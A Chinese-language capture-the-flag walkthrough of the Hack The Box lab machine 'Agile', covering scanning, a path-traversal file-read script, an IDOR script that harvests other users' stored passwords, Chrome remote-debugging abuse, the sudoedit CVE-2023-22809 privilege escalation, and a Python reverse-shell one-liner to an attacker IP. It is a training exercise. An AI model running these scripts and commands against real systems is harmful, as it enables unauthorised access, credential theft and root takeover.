一、信息搜集
└─# nmap -sCV --min-rate=1000 -Pn 10.10.11.203
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-10 10:12 CST
Nmap scan report for 10.10.11.203
Host is up (0.35s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_ 256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 171.68 seconds
添加host
└─# echo "10.10.11.203 superpass.htb" >> /etc/hosts
二、本地文件包含
在扫描目录后发现download 路径,访问出现报错信息,发现了参数是fn
读取/etc/passwd,发现需要登录权限。注册个账号就读取了。
我们可以在 python 中创建一个脚本,自动实现这个过程,只需要输入的文件路径
└─# cat lfi.py
#!/usr/bin/python3
import requests, sys
if len(sys.argv) < 2:
print(f"n33[0;37m[33[0;31m-33[0;37m] Uso: python3 {sys.argv[0]} n")
sys.exit(1)
target = "http://superpass.htb"
session = requests.Session()
data = {"username": "123", "password": "123", "submit": ""}
session.post(target + "/account/login", data=data)
params = {"fn": ".." + sys.argv[1]}
request = session.get(target + "/download", params=params)
print(request.text.strip())
└─# python lfi.py /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
corum:x:1000:1000:corum:/home/corum:/bin/bash
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false
runner:x:1001:1001::/app/app-testing/:/bin/sh
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash
_laurel:x:999:999::/var/log/laurel:/bin/false
指向错误的文件会向我们读取正在运行的 .py 文件的路径
└─# python lfi.py /etc/passwds | grep app
└─# python lfi.py /app/app/superpass/views/vault_views.py
import flask
import subprocess
from flask_login import login_required, current_user
from superpass.infrastructure.view_modifiers import response
import superpass.services.password_service as password_service
from superpass.services.utility_service import get_random
from superpass.data.password import Password
blueprint = flask.Blueprint('vault', __name__, template_folder='templates')
@blueprint.route('/vault')
@response(template_file='vault/vault.html')
@login_required
def vault():
passwords = password_service.get_passwords_for_user(current_user.id)
print(f'{passwords=}')
return {'passwords': passwords}
@blueprint.get('/vault/add_row')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def add_row():
p = Password()
p.password = get_random(20)
#import pdb;pdb.set_trace()
return {"p": p}
@blueprint.get('/vault/edit_row/<id>')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def get_edit_row(id):
password = password_service.get_password_by_id(id, current_user.id)
return {"p": password}
@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
password = password_service.get_password_by_id(id, current_user.id)
return {"p": password}
@blueprint.post('/vault/add_row')
@login_required
def add_row_post():
r = flask.request
site = r.form.get('url', '').strip()
username = r.form.get('username', '').strip()
password = r.form.get('password', '').strip()
if not (site or username or password):
return ''
p = password_service.add_password(site, username, password, current_user.id)
return flask.render_template('vault/partials/password_row.html', p=p)
@blueprint.post('/vault/update/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def update(id):
r = flask.request
site = r.form.get('url', '').strip()
username = r.form.get('username', '').strip()
password = r.form.get('password', '').strip()
if not (site or username or password):
flask.abort(500)
p = password_service.update_password(id, site, username, password)
return {"p": p}
@blueprint.delete('/vault/delete/<id>')
@login_required
def delete(id):
password_service.delete_password(id)
return ''
@blueprint.get('/vault/export')
@login_required
def export():
if current_user.has_passwords:
fn = password_service.generate_csv(current_user)
return flask.redirect(f'/download?fn={fn}', 302)
return "No passwords for user"
@blueprint.get('/download')
@login_required
def download():
r = flask.request
fn = r.args.get('fn')
with open(f'/tmp/{fn}', 'rb') as f:
data = f.read()
resp = flask.make_response(data)
resp.headers['Content-Disposition'] = 'attachment; filename=superpass_export.csv'
resp.mimetype = 'text/csv'
return resp
阅读代码我们可以在.py文件的这部分代码中找到一个idor
@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
password = password_service.get_password_by_id(id, current_user.id)
return {"p": password}
发送不同的id我们可以看到不同的用户密码。可以创建一个python脚本来遍历id并从中获取数据
#!/usr/bin/python3
import requests, bs4
from pwn import log
target = "http://superpass.htb"
session = requests.Session()
data = {"username": "username", "password": "password", "submit": ""}
session.post(target + "/account/login", data=data)
for id in range(0,10):
request = session.get(target + "/vault/row/" + str(id))
soup = bs4.BeautifulSoup(request.content, "html.parser")
rows = soup.find_all("tr", class_="password-row")
for row in rows:
cols = row.find_all("td")
sitename = cols[1].get_text()
username = cols[2].get_text()
password = cols[3].get_text()
if sitename != "":
log.info(f"Credentials in row {id}:")
print(f"tSitename: {sitename}")
print(f"tUsername: {username}")
print(f"tPassword: {password}")
print("r")
执行时,它遍历id并从不同用户获得 6 个密码
└─# python AgileExploit.py
[*] Credentials in row 3:
Sitename: hackthebox.com
Username: 0xdf
Password: 762b430d32eea2f12970
[*] Credentials in row 4:
Sitename: mgoblog.com
Username: 0xdf
Password: 5b133f7a6a1c180646cb
[*] Credentials in row 6:
Sitename: mgoblog
Username: corum
Password: 47ed1e73c955de230a1d
[*] Credentials in row 7:
Sitename: ticketmaster
Username: corum
Password: 9799588839ed0f98c211
[*] Credentials in row 8:
Sitename: agile
Username: corum
Password: 5db7caa1d13cc37c9fc2
在最后的一个sitename:agile 和我们的靶机名一样,那么用它username 和 password登录ssh 成功。
列出内部端口,我们可以看到 41829,这在系统上并不常见
-bash-5.1$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:5555 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:56423 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:41829 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:32846 127.0.0.1:56423 TIME_WAIT
tcp 0 0 127.0.0.1:40522 127.0.0.1:3306 ESTABLISHED
tcp 0 0 127.0.0.1:44958 127.0.0.1:5555 TIME_WAIT
tcp 150 0 127.0.0.1:33290 127.0.0.1:3306 CLOSE_WAIT
tcp 0 0 127.0.0.1:36324 127.0.0.1:41829 ESTABLISHED
tcp 0 0 127.0.0.1:50656 127.0.0.1:80 ESTABLISHED
tcp 0 0 127.0.0.1:80 127.0.0.1:50696 ESTABLISHED
tcp 0 0 127.0.1.1:22 127.0.0.1:57456 ESTABLISHED
tcp 0 0 10.10.11.203:22 10.10.14.27:56314 ESTABLISHED
tcp 0 0 10.10.11.203:22 10.10.14.38:42908 ESTABLISHED
tcp 0 0 127.0.0.1:50676 127.0.0.1:80 ESTABLISHED
tcp 0 0 127.0.0.1:50666 127.0.0.1:80 ESTABLISHED
tcp 0 0 127.0.0.1:57866 127.0.0.1:5555 TIME_WAIT
tcp 0 0 127.0.0.1:3306 127.0.0.1:40522 ESTABLISHED
tcp 0 0 127.0.0.1:44948 127.0.0.1:5555 TIME_WAIT
tcp 0 0 127.0.0.1:80 127.0.0.1:50666 ESTABLISHED
tcp 0 0 127.0.0.1:80 127.0.0.1:50656 ESTABLISHED
tcp 0 0 10.10.11.203:22 10.10.16.27:59280 ESTABLISHED
tcp 0 4284 10.10.11.203:22 10.10.16.4:57244 ESTABLISHED
tcp 0 0 127.0.0.1:80 127.0.0.1:50690 ESTABLISHED
tcp 0 0 127.0.0.1:41829 127.0.0.1:36324 ESTABLISHED
tcp 0 0 127.0.0.1:50696 127.0.0.1:80 ESTABLISHED
tcp 0 0 10.10.11.203:22 10.10.14.78:49518 ESTABLISHED
tcp 0 0 127.0.0.1:50690 127.0.0.1:80 ESTABLISHED
tcp 0 0 127.0.0.1:80 127.0.0.1:50712 ESTABLISHED
tcp 0 0 127.0.0.1:50712 127.0.0.1:80 ESTABLISHED
tcp 0 0 127.0.0.1:56423 127.0.0.1:32856 ESTABLISHED
tcp 0 0 127.0.0.1:41829 127.0.0.1:36340 ESTABLISHED
tcp 0 0 10.10.11.203:22 10.10.16.27:33362 ESTABLISHED
tcp 0 0 127.0.0.1:44972 127.0.0.1:5555 TIME_WAIT
tcp 0 0 127.0.0.1:44938 127.0.0.1:5555 TIME_WAIT
tcp 0 1 10.10.11.203:58342 8.8.8.8:53 SYN_SENT
tcp 0 0 127.0.0.1:57872 127.0.0.1:5555 TIME_WAIT
tcp 0 0 127.0.0.1:32856 127.0.0.1:56423 ESTABLISHED
tcp 0 0 127.0.0.1:36340 127.0.0.1:41829 ESTABLISHED
tcp 0 0 127.0.0.1:80 127.0.0.1:50676 ESTABLISHED
tcp 0 0 127.0.0.1:57456 127.0.1.1:22 ESTABLISHED
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 ::1:56423 :::* LISTEN
在进程中我们可以看到这个端口运行着谷歌浏览器的远程debug
-bash-5.1$ ps faux | grep 41829
runner 19539 0.1 2.6 34023456 103904 ? Sl 03:28 0:00 _ /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.VCC6v1 --window-size=1420,1080 data:,
runner 19603 0.5 4.1 1184764420 163312 ? Sl 03:28 0:01 | _ /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=19546 --lang=en-US --enable-automation --enable-logging --log-level=0 --remote-debugging-port=41829 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=ShadowDOMV0 --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1678414886916814 --launch-time-ticks=3996020528 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,1475177266462851820,14744098003185442377,131072 --disable-features=PaintHolding
corum 19709 0.0 0.0 4020 2072 pts/7 S+ 03:31 0:00 _ grep 41829
要在本地使用该端口,我们将通过使用 ssh 进行端口转发来使用它
└─# ssh [email protected] -L 41829:127.0.0.1:41829
[email protected]'s password: 5db7caa1d13cc37c9fc2
在搜索栏中使用 chrome://inspect 输入127.0.0.1:41829
它向我们展示了 http://test.superpass.htb/vault 的 Target SuperPassword,访问看到了账号密码
我们可以再次使用agile 站点的username 和 password,通过ssh登录
edwards
d07867c6267dcb5df0af
corum@agile:~$ su edwards
Password:
edwards@agile:/home/corum$
edwards@agile:/home/corum$ id
uid=1002(edwards) gid=1002(edwards) groups=1002(edwards)
查看 sudoers 级别的权限,我们可以使用 sudoedit 作为 dev_admin 打开 2 个文件
edwards@agile:/home/corum$ sudo -l
[sudo] password for edwards:
Matching Defaults entries for edwards on agile:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
use_pty
User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
在本地python开web,上传到靶机pspy
└─# python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.203 - - [10/Mar/2023 13:37:47] "GET /pspy64 HTTP/1.1" 200 -
用pspy列出任务我们可以发现root执行了这个文件/app/venv/bin/activate
edwards@agile:~$ ./pspy64 |grep activate
2023/03/10 05:41:55 CMD: UID=1002 PID=1326 | grep --color=auto activate
2023/03/10 05:41:55 CMD: UID=1002 PID=1320 | vim /var/tmp/activate.XXfIlGzM /var/tmp/config_testXXXyfw94.json
2023/03/10 05:45:01 CMD: UID=0 PID=1480 | /bin/bash -c source /app/venv/bin/activate
该文件有 dev_admin 作为一个可以写入的组,如果我们可以修改它,我们就是 root
找到 sudoedit 的 CVE-2023–22809[1],它向我们展示了一些利用它的方法
我们通过打开 /app/venv/bin/activate 作为额外文件来导出变量
export EDITOR="vim -- /app/venv/bin/activate"
现在我们打开允许我们在 sudoers 级别以 dev_admin 打开的文件/app/config_test.json
sudo -u dev_admin sudoedit /app/config_test.json
使用在线工具 生成python的反弹shell命令,在线反弹shell[2]
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
反弹shell 拿到root 。
References
[1]
CVE-2023–22809: https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf
[2]
在线反弹shell: https://www.0le.cn/reverse/
原文始发于微信公众号(靶机狂魔):靶机——Agile
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论